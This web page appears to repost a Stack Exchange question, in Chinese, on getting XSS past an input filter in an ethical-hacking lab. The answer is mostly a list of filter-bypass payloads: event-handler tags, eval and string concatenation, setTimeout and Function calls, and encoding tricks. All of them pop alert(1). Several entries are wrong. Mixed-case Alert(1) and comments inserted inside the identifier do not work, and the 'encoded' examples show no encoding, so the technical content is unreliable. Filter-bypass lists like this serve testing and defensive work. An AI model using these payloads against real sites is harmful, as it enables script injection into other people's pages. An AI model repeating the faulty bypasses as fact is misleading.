You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何实施XSS攻击?伦理黑客实验遇输入过滤求可行方案

XSS绕过输入过滤的常见方法(针对alert(1)被拦截场景)

以下是针对输入过滤拦截alert(1)的常见绕过思路,适用于伦理黑客实验室的实操场景:

  • 大小写混淆:多数基础过滤仅匹配全小写的关键字,尝试混合大小写绕过:

    Alert(1)
    aLerT(1)
    ALERT(1)
    
  • 字符编码绕过:利用HTML实体、Unicode或十六进制编码对关键字转义,浏览器会自动解析执行:

    • HTML实体编码:alert(1)
    • Unicode转义:\u0061\u006c\u0065\u0072\u0074(1)
    • 十六进制HTML编码:alert(1)
  • 注释插入绕过:在关键字或参数中插入注释,干扰过滤规则的匹配逻辑:

    a<!--任意字符-->lert(1)
    aler/*xxx*/t(1)
    alert(/*注释内容*/1)
    
  • 字符串拼接与属性访问:将alert拆分为字符串拼接,或通过对象属性访问的方式调用:

    eval('a'+'l'+'e'+'r'+'t'+'(1)')
    window['alert'](1)
    window['al'+'ert'](1)
    
  • 参数与语法变形:修改alert的参数形式,或使用等价语法绕过:

    alert('1')  // 将数字1改为字符串形式
    alert(!!1)  // 用布尔值等价替代数字1
    alert(1+0)  // 用表达式替代直接数字
    
  • 标签与事件替换:如果是HTML上下文的过滤,换用其他可触发JS的标签或事件:

    <img src=x onerror=alert(1)>
    <iframe onload=alert(1)>
    <body onresize=alert(1)>
    <scriPt>alert(1)</scRipt>  <!-- 标签名大小写混淆 -->
    
  • 利用JS内置方法触发:通过其他JS内置函数间接调用alert:

    setTimeout('alert(1)', 0)
    Function('alert(1)')()
    top.alert(1)  // 利用顶层对象调用
    
  • 换行/空格干扰:在关键字或括号间插入换行、空格或制表符,破坏过滤规则的连续匹配:

    alert
    (1)
    alert(  1  )
    

内容的提问来源于stack exchange,提问作者s19583

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.12 14:54:13